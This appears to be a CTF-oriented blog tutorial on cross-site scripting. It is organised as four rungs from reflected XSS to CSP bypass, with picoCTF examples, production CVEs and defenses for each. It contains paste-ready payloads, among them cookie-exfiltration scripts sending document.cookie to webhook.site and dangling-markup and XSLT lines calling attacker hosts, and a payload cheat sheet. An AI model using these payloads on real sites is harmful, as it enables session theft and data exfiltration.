April 27, 2026

XSS for CTF: A Ladder from alert(1) to CSP Bypass

Cross-Site Scripting isn't dead, it climbed. A four-rung ladder from reflected to CSP bypass with paste-ready payloads, picoCTF receipts (noted, live-art, secure-email-service, paper-2), and 2024-2026 production CVEs at every rung.

alert(1) still works. That is why CTF doesn't accept it.

Cross-Site Scripting (XSS) is what happens when your browser runs JavaScript that an attacker smuggled into someone else's website. The site thinks the script is its own, the browser obeys, and the attacker reads your cookies, modifies the page, or makes requests with your session. It is the oldest bug class on the OWASP Top 10 and it shipped again last month.

In February 2024, Johan Carlsson (writing as Joaxcar) reported a Content Security Policy (CSP) bypass on portswigger.net. PortSwigger. The company that ships the most-cited XSS curriculum on the web. Their CSP allowlisted www.google.com/recaptcha as a script source. Google still hosts AngularJS on that subdomain. AngularJS is a CSP gadget: a script the browser is allowed to load that can be tricked into evaluating attacker-controlled strings as code. Bounty: $1,500. The bug class is older than half its researchers. It still ships.

Production still ships rung 1 every Tuesday. picoCTF stopped accepting rung 1 in 2022.

Most XSS tutorials stop at <script>alert(1)</script>. That is the equivalent of teaching ret2libc and stopping: it gets you the first solve and leaves you stranded the moment the target ships any modern defense. picoCTF does something most tutorials do not. The 2022 challenges send you up rung 2 (stored XSS plus an admin bot). The 2025 and 2026 challenges throw you onto rung 4 (CSP locked, no JavaScript at all, and you still have to exfiltrate). PortSwigger Academy has the labs. picoCTF has the receipts.

Key insight: The four rungs of XSS in 2026: reflected (the URL is the payload), stored (the database is the payload), DOM (Document Object Model: the browser is the payload, and the server never sees it), and CSP bypass (the policy says no script and you exfiltrate anyway). Production still ships rung 1 and 2 constantly. CTF authors deliberately skip rung 1 because it is trivial. The interesting work has moved up.

The four-rung ladder

Same shape as the ROP gadget ladder: read it bottom-up, start with the cheapest rung the target permits, climb when blocked. Each rung is the only move that works in a specific situation, and the rungs compose. Read the table left-to-right: which rung, the bug type, the precondition that makes it legal, the defense that defeats it, and a real picoCTF or production example ("Receipt") where the rung was load-bearing. CVE means a Common Vulnerability and Exposure ID, the standard identifier for a publicly disclosed bug.

RungTypeUse whenBlocked byReceipt
1Reflected XSSA request parameter is echoed unsanitized into the responseOutput encoding; strict CSP without unsafe-inlineCVE-2025-0133 (Palo Alto PAN-OS)
2Stored XSSUser input is persisted server-side and rendered to other usersServer-side sanitization (DOMPurify on render); CSPnoted, live-art
3DOM XSSClient-side JavaScript reads attacker-controlled source into a dangerous sinkTrusted Types; safe sink (textContent, setAttribute on safe attrs)CVE-2025-4123 (Grafana Ghost)
4CSP bypassA strict CSP is in place; classic injection runs but does not executestrict-dynamic + nonce + form-action + base-uri all set correctlysecure-email-service, paper-2
Note: picoCTF has receipts at rung 2 and rung 4 but skips rungs 1 and 3. That is on purpose. Rung 1 is too trivial to be a CTF challenge in 2026 (every challenge author knows the payload). Rung 3 is hard to scaffold because the bug never reaches the server, so the writeup loop breaks. Practice rungs 1 and 3 on the PortSwigger Academy labs; come back to picoCTF for rungs 2 and 4 where the receipts are.

Rung 1: Reflected XSS, where the URL is the payload

The simplest case. A query parameter, form field, or URL fragment lands in the response HTML without escaping. You craft a URL whose payload becomes part of the rendered page, send it to the victim, and the script runs in their browser as if the site authored it.

# A search page that echoes the query into the response body:
GET /search?q=<script>alert(1)</script> HTTP/1.1
# Server replies with:
<h1>Results for: <script>alert(1)</script></h1>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
unescaped, executes in the victim's browser

When the obvious payload is filtered, you escalate. Filter bypass is where the work actually lives in 2026, because almost every framework strips literal <script> tags. Three shapes that survive most filters:

# Event-handler payloads (no script tag):
<img src=x onerror=alert(1)> # broken-image fires onerror
<svg/onload=alert(1)> # SVG = Scalable Vector Graphics
<body onload=alert(1)>
# Attribute-context escape (when input lands inside an attribute):
" autofocus onfocus=alert(1) x=" # closes the attr, opens new one
# Tag-name confusion (when a naive filter strips one literal </script>):
<scr<script>ipt>alert(1)</scr</script>ipt>
# After the filter runs once, the inner <script>...</script> remains intact.

Production receipt: CVE-2025-0133 (May 2025) is reflected XSS in the Palo Alto Networks GlobalProtect Captive Portal. The Captive Portal echoes a parameter into a form. Crafted link, authenticated session, full firewall admin compromise. CVSS (Common Vulnerability Scoring System) rating: 6.9. The bug class is older than my first laptop and still bypasses the perimeter device.

Heads up: What kills it: contextual output encoding (HTML entity encode anything from a query parameter, attribute-encode anything in an attribute), plus a strict CSP that omits unsafe-inline. Either alone is leaky. Both together collapse the rung.

Rung 1. Real bugs in 2025, but no picoCTF receipt: this rung is too trivial to be a flag-getter, so the challenge authors moved on.

Rung 2: Stored XSS and the admin bot pattern

The most-tested pattern in picoCTF web challenges. The application stores user input (a note, a comment, a pixel-art title) and renders it back to other users. One of those other users is an admin bot, a headless browser running with the flag inside its session. Your script runs in the bot's browser and exfiltrates whatever the bot can see.

The admin bot is the most honest piece of pedagogy in CTF. It teaches that XSS is not a bug in your browser. It is a bug in someone else's.

The canonical payload, lifted directly from the picoCTF 2022 noted writeup:

<script>
document.location='https://webhook.site/YOUR-UUID?c='+document.cookie
</script>
// Or, when redirecting would lose context:
<script>
fetch('https://webhook.site/UUID?c='+btoa(document.cookie))
</script>

The full loop has three pieces. (1) Stand up a listener at webhook.site (free, instant, zero setup) or ngrok tunneled to a local python3 -m http.server. (2) Submit the payload as a note, comment, or whatever the app stores. (3) Use the "report to admin" feature to make the bot visit the payload page. Cookie lands in the listener. Set it in DevTools. Browse to the admin-only path. Flag.

live-art is the same pattern with a twist: the stored sink is an art title rendered into a React component, and the admin bot reacts to reported pieces. Either Cross-Site Request Forgery (CSRF) via missing token or stored XSS through unsanitized innerHTML on titles gets you there. Both are real options, both teach a different defense lesson, and the challenge is built so the writeup actually reads its own source code first. That is the whole point. The admin bot is not an obstacle. It is the thing under attack.

Production receipt: CVE-2024-21678 (February 2024) is authenticated stored XSS in Atlassian Confluence Data Center and Server, all the way back to 7.17.0. CVSS 8.5 HIGH. Reported through Atlassian's bug bounty. The Confluence instance you are reading right now might still be on a vulnerable version. The first time I solved a stored-XSS CTF challenge I thought "okay, cute, who actually ships this in 2024." Atlassian does. Tens of thousands of teams do.

Heads up: What kills it: render-time sanitization (run DOMPurify on the server before persisting and again on the client before injecting), set the session cookie HttpOnly so document.cookie cannot read it, and ship a CSP that disallows inline scripts. The picoCTF stored-XSS challenges are pedagogically generous because they leave at least two of these missing on purpose.

Rung 2. Where production still lives (Confluence, just shown), and where most picoCTF web challenges put you for a reason.

Rung 3: DOM XSS, where the server never sees the bug

DOM-based XSS lives entirely in the browser. The server returns clean HTML. The attack happens when client-side JavaScript reads an attacker-controlled source and writes it into a dangerous sink:

Source (attacker controls)

  • location.hash
  • location.search
  • document.referrer
  • postMessage event data
  • localStorage / sessionStorage

Sink (executes the value)

  • elem.innerHTML = ...
  • document.write(...)
  • eval(...)
  • setTimeout(str, ms)
  • location = "javascript:..."
// Vulnerable client-side code:
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hi ' + name;
// Trigger URL:
https://target/#?name=<img src=x onerror=alert(1)>
// Server log shows GET '/' with no query string. The # fragment is
// browser-side only. Static taint analysis on the server source finds nothing.

Which is why DOM XSS is the hardest rung to scaffold as a CTF challenge: the bug never reaches the server, so the writeup author cannot use server logs to verify exploit landing. picoCTF works around this by hiding DOM XSS primitives inside admin-bot challenges, where the bot itself is the vulnerable client. That is the trick: everything you learn at rung 2 about admin bots is the framework that lets rung 3 show up at all. bookmarklet is the purest demonstration of the underlying primitive. A javascript:URL runs in the page's security context with full access to its DOM, cookies, and variables. The same browser feature that lets you build a "Read Later" button is what lets stored XSS exfiltrate session tokens.

To find DOM XSS without a working exploit primitive, grep the JavaScript for the dangerous-sink list and trace each one back to an attacker-reachable source. Chrome DevTools' Sources panel does this interactively: set a DOM Mutation breakpoint on the target node, navigate, and watch which call stack writes into it. When the writer reads from location.* or document.referrer, you have a candidate. I have lost a Tuesday to a DOM XSS that lived behind three layers of postMessagehandlers. The bug never showed up in any server log, because of course it didn't. The server did not see it.

Production receipt: CVE-2025-4123 "Grafana Ghost" (May 2025). A client-side path traversal plus open redirect on the plugin loader endpoint, exploitable with anonymous access on default Grafana installations going back to v8. CVSS 7.6 HIGH. The interesting detail: Grafana's default CSP blocks the obvious exfil path, but the advisory flags that the bug was still exploitable in real installations. A defense layer that only protects you when no operator has touched it has a hard time being a defense layer.

Heads up: What kills it: Trusted Types (a browser feature that refuses to let strings reach innerHTML and other sinks unless they pass through a policy function) plus the Sanitizer API. Together they convert the "dangerous sink" list from a hazard into a compile-time error. Most apps still do not use either, which is why this rung is alive and well in the wild.

Rung 3. The hardest to spot in code review and the rarest in CTF, because the bug never reaches the server. picoCTF hides it inside admin-bot challenges or skips it entirely.

Rung 4: CSP bypass, when <script> doesn't work anymore

Content Security Policy is a response header that tells the browser which resources a page is allowed to load. A strict policy looks like this:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none';
base-uri 'none';
form-action 'self';

Under that policy, your <script>alert(1)</script> still renders into the DOM. It just does not run. Which is where the work starts.

When CSP says no, the answer isn't <script>. It is HTML, CSS, or sometimes XSLT.

Four bypass families produce most of the disclosed 2024-2026 work. None of them care that you cannot run <script> directly.

Nonce leakage and gadget abuse. A nonce (a one-time random token in the CSP that scripts must echo to run) only works if the attacker cannot read it. Dangling-markup payloads slurp DOM attributes, including the nonce. Any allowlisted Content Delivery Network (CDN) that hosts a legacy framework, AngularJS being the most-cited offender, becomes a CSP gadget. Joaxcar's February 2024 bypass on portswigger.net chained both: www.google.com/recaptcha on the allowlist hosted Angular, and the missing strict-dynamicmeant the gadget could read the page's nonce and forge a child script. $1,500 bounty. The rule the writeup teaches is grim and useful: a CSP that allowlists Big-Tech CDN domains for convenience is one Angular gadget away from no CSP at all. I keep a note pinned in my CTF folder that says "check the allowlist before the policy." It started as a shortcut and became a habit.

Scriptless exfiltration. When CSP forbids JavaScript outright, HTML and CSS still work. Dangling markup (<img src='//attacker/? with the closing quote omitted) slurps everything up to the next quote on the page into the request URL, CSRF tokens and form values included. Gareth Heyes (PortSwigger researcher) showed in Blind CSS Exfiltration (December 2023) how attribute-selector chains can extract entire unknown pages with zero JavaScript. The same Heyes also documented how a missing form-action directive turns CSP-protected pages into password stealers via <form> hijacking. None of these need script-src to relax.

Charset and parser confusion. When the server omits a charset declaration, the browser sniffs. UTF-7 was retired from modern Chrome and Firefox years ago, but it is alive inside controlled rendering environments such as HTML email clients, sandboxed iframes, and document renderers that override the charset. picoCTF 2025 secure-email-service chains four bugs to land a UTF-7 payload inside an email the admin bot signs and renders. +ADw-script+AD4-alert(1)+ADw-/script+AD4- decodes to <script>alert(1)</script> once the renderer commits to UTF-7 (the encoding maps +ADw- to <, +AD4- to >). The CTF encodings guide covers the charset-detection arithmetic that makes this work.

XSLT and other "not-script" execution paths. XSLT (Extensible Stylesheet Language Transformations) is a templating language for XML, and the browser executes it inside its XML processor. CSP's script-src directive does not see it. picoCTF 2026 paper-2 ships with script-src 'none'; default-src 'self', blocks external resource loading entirely, and still falls. The exploit deserves three sentences of staging.

  1. The app caches data in Redis (an in-memory key-value store) with allkeys-lru eviction (Least Recently Used: when memory fills, the keys nobody touched recently get deleted first).
  2. The attacker uploads an XSLT stylesheet whose conditional <xsl:if> blocks render <img> tags only when a secret bit is 1. Each rendered image causes the bot to fetch a marker URL, which touches a marker key in Redis and refreshes its LRU timestamp.
  3. The attacker uploads enough filler data afterwards to evict everything except the recently-touched markers. Whichever marker keys survive eviction tell the attacker which secret bits were 1. Repeat across replicas with majority voting; reconstruct the secret bit by bit.

There is no JavaScript anywhere in the exploit. There is no outbound network call from the browser. The flag leaks through which keys the cache decided to keep. As of this writing, no other indexed writeup of paper-2 exists, which is why I am dwelling on it. This is what rung 4 looks like at the top of its game.

Heads up: What kills it (mostly): script-src 'strict-dynamic' 'nonce-X' plus form-action 'self' plus base-uri 'none' plus a strict connect-src and img-src. Run your policy through csp-evaluator.withgoogle.com and assume any domain you allowlist hosts a gadget you have not heard of.

Rung 4. Where every picoCTF web challenge is heading, because every realistic target ships CSP now. Production gets here too: PortSwigger themselves, February 2024.

picoCTF XSS challenges to climb

The challenges below are ordered by which rung they really test, not by listed difficulty. The 2026 entries assume you have already done the 2022 ones. Pair each with the Cookie and JWT attacks guide (because half the work is reading the stolen cookie) and the Web challenges as real bug patterns post (which puts XSS inside the broader "strings become code" surface).

  • picoCTF 2022 noted is the canonical rung-2 challenge. Stored XSS, admin bot, cookie exfil. If you have never built the loop, build it here first.
  • picoCTF 2022 live-art mixes stored XSS via innerHTML with a CSRF option. Read the source. Both paths teach a different defense lesson.
  • picoCTF 2024 bookmarklet is not stored or reflected XSS, but it lives in this list because it is the cleanest possible demonstration of the underlying primitive: arbitrary JavaScript running in a page's security context. Every payload above relies on that same execution model.
  • picoCTF 2025 secure-email-service is rung 4 with a four-bug chain (header injection, MT19937 RNG crack, MIME boundary injection, UTF-7 XSS). The hardest XSS challenge picoCTF has shipped to date.
  • picoCTF 2026 paper-2 is the cache-side-channel CSP bypass. No script. No outbound network. The flag leaks through which Redis keys survive LRU eviction. As of this writing, no other indexed writeup of paper-2 exists.

For practice outside picoCTF, the PortSwigger Academy XSS labs remain the best graded curriculum, especially the CSP-bypass set. Jorian Woltjer's Practical CTF book is the closest existing reference for modern CTF XSS, with deeper coverage of mutation XSS (mXSS) and DOMPurify-3.x bypass chains than this post has room for. And LiveOverflow's Pasteurize walkthrough (Google CTF 2020) is the canonical video-form admin-bot XSS explainer.

The honest take: PortSwigger has the labs, Jorian has the depth, picoCTF has the receipts. None of them is a substitute for the others. The graded labs teach the primitives, the gitbook covers the obscure variants, and the picoCTF challenges force you to assemble a real exploit against an admin bot that does not care which tutorial you read. Use all three and you will spot the next CVE-2024-21678 before it ships.

Quick reference

An "injection point" is anywhere your input ends up in the response: a query parameter echoed in HTML, a comment field rendered to other users, a hash fragment passed to innerHTML. The order below tells you which rung to try first.

Decision order when you find an injection point

  1. Inspect response headers. curl -I https://target/. Look for Content-Security-Policy. No CSP or CSP with unsafe-inline means rung 1, 2, or 3 is in scope directly.
  2. Try the canonical payloads in order: <script>alert(1)</script>, <img src=x onerror=alert(1)>, <svg/onload=alert(1)>. Whichever fires tells you the injection context.
  3. If filtered, escalate: attribute-context escape (" onfocus=alert(1) x="), tag-name confusion (<scr<script>ipt>), event handlers that do not need parentheses (onerror=alert`1` with template literals).
  4. If CSP blocks it, identify the policy weakness:csp-evaluator.withgoogle.com. Look for whitelisted CDNs (gadget candidates), missing base-uri (base hijack), missing form-action (form hijack), or any non-script execution path (XSLT, SVG with embedded script, service worker via same-origin upload).
  5. If the bot is involved, set up webhook.site first, then report the URL.

Payload cheat sheet

# Reflected/stored, classic
<script>alert(1)</script>
# Filter bypass: event handlers
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
# Attribute context
" onfocus=alert(1) autofocus x="
# Cookie exfil to listener
<script>fetch('https://webhook.site/UUID?c='+btoa(document.cookie))</script>
# Dangling markup (works under CSP)
<img src='//attacker.example/?
# UTF-7 (controlled rendering only)
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
# XSLT (no script-src, no problem)
<xsl:value-of select="document(concat('//atk/?',/secret))"/>

One concrete move. Pick a picoCTF web challenge whose category includes an admin bot. Before reading the writeup, set up a webhook.site listener, drop <script>alert(1)</script> into the first input field you find, and report the page. If the alert fires for the bot, you have rung 2. If the stored field is not rendered for the bot, you have a filter to bypass. If document.cookie comes back empty, you have HttpOnly and need to find a different exfil. Each failure mode tells you which rung you are actually on.

If <script>alert(1)</script> still works on a target, that is a defense problem. If it does not, that is where the work is.